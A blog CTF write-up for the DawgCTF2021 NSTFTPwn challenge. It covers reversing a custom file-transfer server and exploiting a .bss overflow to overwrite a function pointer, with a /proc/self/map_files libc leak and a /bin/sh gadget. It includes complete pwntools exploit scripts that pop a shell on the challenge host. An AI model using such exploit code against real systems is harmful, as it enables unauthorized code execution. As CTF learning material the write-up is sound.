Welcome to the Debugmen blog. We use this site to post tools, security findings, CTF writeups and anything else we find worthy of release to the public.

DawgCTF2021: NSTFTPwn

NSTFTPwn

I wasn’t able to spend too much time on this CTF, however I did manage to get first blood on the highest valued pwn with Antibuddies solving the challenge only 1 minute after me.

Description

It turns out that the guy that wrote the backdoor in NSTFTP wasn’t a great C programmer either, and we think his code has bugs. Can you prove it by exploiting the server and running flag_printer? We’ll need that flag to prove it’s vulnerable. (Note, binary and libc are both available over NSTFTP.)

nstftp://umbccd.io:4300/

Initial Analysis

We were only provided a PCAP and no binaries, so we had to figure out how to retrieve the binaries before we can begin vuln research.

Opening the PCAP in wireshark, I inspected the TCP streams to see how to interact with the NSTFTP service.

The service first sends a packet containg the version, then the client responds with a packet identifing the client_name. The client sends another packet requesting a directory listing for the directory “.”. The server responds with all the files in the directory.

The client sends a request to read the “README.txt” file and the server responds with the contents.

This is all the information we need to be able to read the contents of the nstftp binary as well as the flag_printer binary.

Reading files

At this point, I still didnt know much about the structure of the packets but what I did notice was when getting the directory listings, the packet bytes of a file was 0414000000000000000a524541444d452e747874 and to read the file was 0514000000000000000a524541444d452e747874. So by changing the first byte from “\x04” to “\x05” we could read a file.

Using that info, I created a small script to pull the nstftp, flag_printer, and libc-2.31.so binaries.

An example of that code for the libc-2.31.so binary below.

from pwn import *
import binascii
io = remote("umbccd.io",4300)
io.readuntil("v0.1")

header = binascii.unhexlify("022000000000000000164e53544654502d636c69656e742d676f2d6461776773")
io.send(header)
file1 =binascii.unhexlify("0516000000000000000c6c6962632d322e33312e736f")
io.send(file1)
io.readuntil("\x7fELF")
f = open("libc-2.31.so","wb")
f.write("\x7fELF")
data = io.readall(timeout=1)
f.write(data)

Reversing the Binaries

The first binary I pulled was the flag_printer binary. The main function of that binary calls get_flag, which reads the flag from /root/pwnflag.

So from here it seems like the way to go is to run this binary or just read the flag file.

I moved onto reversing the nstftp binary to understand more of this protocol.

The main function of the binary below shows that the server parses some commandline args and eventually calls the function of interest which I named real_start

real_start sends the server version packet and then calls a function which then parses the user’s sent packets.

The parse_pkt then parses the packet and determines what function is run.

At this point, I have determined the packet structure to look something like

struct pkt __packed
{
    char opcode;
    char pkt_size;
    char padding[0x7];
    char data_size;
    char* data;
};

By sending a specified opcode, we can control which function will be executed with our packet.

With the goal being to read the flag file at /root/pwnflag, I looked into the read_file function. Unfortunately, as shown below, the read function will error out of we try to send a file name containing a /.

The print_re_flag#1 is for a different challenge so I won’t go into detail about that one.

I then looked at the list_dirs function. There was an interesting part of code which contained the vulnerability.

The function would loop for the data_size of the packet writing the bytes one by one to the dir_name variable located in the .bss section. There is no bounds checking so Its possible to send a packet containg a high value in the data_size field and write past the size of the dir_name variable on the .bss.

Looking at what we can overwrite shows that we can overwrite the function pointers of the functions that parse the packets.

Exploitation

With this knowledge, I wrote a poc to overwrite the list_dirs function pointer with invalid data to cause a crash and started up a local instance in gdb to examine the crash. The size of the dir_name buffer was 0x80 bytes, so the next bytes after will corrupt the list_dirs function pointer.

I put a break point on the address below to stop gdb right before executing my corrupt function pointer.

To set my breakpoint, I used the following gdb-gef commands:

set follow-fork-mode child
start
pie b *0x2eac
c

Then ran the poc, sending the list_dirs packet twice, once to overwrite the function pointer and the second the trigger the corrupt function pointer:

from pwn import *
import binascii
context.binary = elf = ELF("./nsftp")
def make_pkt(opcode,data):
	pkt = b""
	pkt+= opcode
	pkt+= b"\x00"
	pkt+= b"\x00"*7
	pkt+= bytes([len(data)])
	pkt+= data
	pkt_len = len(pkt)
	l = list(pkt)
	l[1] = pkt_len
	pkt = bytes(l)
	return pkt
io = remote("127.0.0.1",1337)
io.readuntil(b"v0.1")
header_pkt = make_pkt(b"\x02",b"gang-gang")

payload =b""
payload += b"A"*0x80
payload += b"B"*8

ls_pkt = make_pkt(b"\x03",payload)
io.send(ls_pkt)
# Trigger it
io.send(ls_pkt)

io.interactive()

When gdb breaks, I run continue to run past the first packet and then break right before we trigger the corrupt function pointer.

GDB right before calling our corrupt funtion pointer:

If I step passed this next instruction, the binary will call what is at 0x55555555a148 using tele we can confirm we overwrite the function pointer with 8 “B”s.

Getting the right enviornment

To make sure that my local exploitation lines up with the remote service, I used pwninit to retrieve the correct interpreter and then used patchelf to set the binary’s interpreter and rpath.

pwninit
patchelf --set-interpreter ld-2.31.so ./nsftp
patchelf --set-rpath . ./nsftp

I also renamed the libc we retrieved from the service to libc.so.6.

Bypassing mitigations

Now that we have a crash we can control, we need to pop a shell, unfortunately this binary has all mitigations enabled as well as ASLR on remote.

With PIE enabled, ROPing becomes a lot harder as we can not use any gadgets in the base binary without knowing the the address the binary is loaded at. With ASLR enabled, the same goes with libc gadgets. So its important that we can find a leak of either libc or the base binary.

The Leak

Going back to the functions we can run, the list_dirs function was able to print all the files in a given directory and unlike the read_file function, there was filter on the path.

This means we can leak the files in the directory /proc/self/map_files. Inside this directory contains links to each file mapped in the binary NAMED the address start hypen end of the mapped region. This is very similar to the output of gdb’s vmmap

So know we can send a packet to list the directory of /proc/self/map_files and leak both the binary base address and libc base address.

Putting it together

First by sending a packet to read /proc/self/map_files and then parsing that response we can then write a gadget correctly mapped over the list_dir function pointer.

The best type of gadget to go with is a one_gadget so we don’t need to write any complicated ropchain.

Running one_gadget on the libc results in 3 gadgets:

0xe6e73 execve("/bin/sh", r10, r12)
constraints:
  [r10] == NULL || r10 == NULL
  [r12] == NULL || r12 == NULL

0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Setting that breakpoint before the function pointer call like I did earlier, I examined the state of the registers at the time right before our control of the program counter.

r12 is not NULL so that rules out the first gadget. rsi is not NULL so that rules out the last gadget.

Both r12 and rdx are NULL so it appears the second gadget will work.

Unfortunately, after stepping through that one gadget, execution breaks at the following instruction:

This gadget requires rbp to be a valid pointer so we can’t use this gadget.

So like always, one_gadget fails, I have to turn to finding a useful gadget manually.

Opening the libc up in binaryninja and looking at all the references to the string /bin/sh, I found a gadget to loads the string into rdi and sets rsi from r15.

rdx is alread NULL at the time so we have everything we need.

Using the gadget at 0xe6c81, we finally pop a shell

Final exploit

from pwn import *
context.binary = elf = ELF("./nsftp")
def make_pkt(opcode,data):
	pkt = b""
	pkt+= opcode
	pkt+= b"\x00"
	pkt+= b"\x00"*7
	pkt+= bytes([len(data)])
	pkt+= data
	pkt_len = len(pkt)
	l = list(pkt)
	l[1] = pkt_len
	pkt = bytes(l)
	return pkt
io = remote("umbccd.io",4300)
#io = remote("127.0.0.1",1337)
io.readuntil(b"v0.1")
header_pkt = make_pkt(b"\x02",b"gang-gang")

# leak pie
ls_pkt = make_pkt(b"\x03",b"/proc/self/map_files")
io.send(ls_pkt)
for _ in range(208):
	io.read(1)
libc_base = int(io.read(12),16)
print("libc Base: " + hex(libc_base))
one_gad = 0xe6c81+libc_base
print("one_gad:"+hex(one_gad))
payload = b"A"*0x80
payload += p64(one_gad)

ls_pkt = make_pkt(b"\x03",payload)
io.send(ls_pkt)
# Trigger
io.send(ls_pkt)

io.interactive()

We can the run the flag_printer binary and get the flag

NOTE: there was so problem with pwntools reading the socket stream so instead of just running io.read(208) I had to run a loop to read 1 byte at a time 208 times.